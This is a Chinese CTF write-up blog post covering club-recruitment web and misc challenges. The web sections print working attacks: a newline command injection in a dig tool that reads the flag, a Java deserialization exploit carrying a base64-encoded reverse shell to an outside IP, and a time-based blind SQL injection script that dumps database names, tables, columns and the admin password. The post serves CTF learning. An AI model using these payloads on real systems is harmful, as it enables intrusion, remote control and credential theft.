12月协会招新

几道 web 和 misc

Posted by JBNRZ on 2022-12-14
Estimated Reading Time 4 Minutes
Words 916 In Total
Viewed Times

Web

dig

  1. 有关 dig 的命令执行
1
2
过滤:
` $ / & * | ;
  1. 利用换行截断,注入点在于 type 参数
1
dig \ncd ..\ncd ..\ncd ..\ncat flag#
  1. 写脚本会使人不幸

first_java

  1. java 反序列化,但就是配环境花好长时间(比赛结束之后,比赛时不会java,就没看
  2. springboot 项目,代码解释cv于学长
1
2
3
这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)
关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等
  1. exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.example.demo;

import com.example.demo.classes.User;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {

Class c=Class.forName("com.example.demo.classes.User");
Constructor con=c.getDeclaredConstructor();
con.setAccessible(true);
Object u=con.newInstance();

setFieldValue(u,"name","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}");
// 此处为 bash -i >& /dev/tcp/ip/port 0>&1

BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1,"val",u);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val1);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}

sql 盲注(没上

  1. 过滤
1
2
3
sleep or 空格 = < substr 

// 好像不全
  1. payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from requests import post
from time import time

url = 'http://challenge.dhycnhdu.com:33450/login.php'
data = {
'username': 'admin',
'password': ''
}

# 爆 库名
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f'123\'&&benchmark(if(ascii(mid(database(),{i+1},1))>{j},1,10000000),sha(1));#'
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
# 爆 表名
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select table_name from information_schema.tables where table_schema like 'easysql' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
# 爆 字段
for x in range(5):
for i in range(8):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select column_name from information_schema.columns where table_schema like 'easysql' limit {x},1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
print()
print()
# 爆 flag
for i in range(50):
for j in range(48, 126):
f = time()
data['password'] = f"123'&&benchmark(if(ascii(mid((select password from sqltable where username like 'admin' limit 0,1),{i+1},1))>{j},1,10000000),sha(1));#".replace(' ', '/*1*/')
a = post(url, data=data)
s = time()
if s - f > 1:
print(chr(j), end='')
break
  1. 利用 benchmark(1000000,sha(1)) 代替 sleep 1.9
  2. 利用 mid 代替 substr

Misc

  1. binwalk 递归分离,960层,得到 flag.jpg,文件末尾存在多余数据
  2. 将所有文件名拼合得到 base 编码的字样,fuzz之后得到 our secrect is password (正确的不是 password,我忘了)
  3. 分离 flag.jpg,利用 oursecret 解密,得到 flag
  4. Oursecret 加密后文件末尾通常或有类似的结果
    图片

智能卡

  1. 根据 IC 卡的结构得到加密密钥
  2. 进行异或得到 flag

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !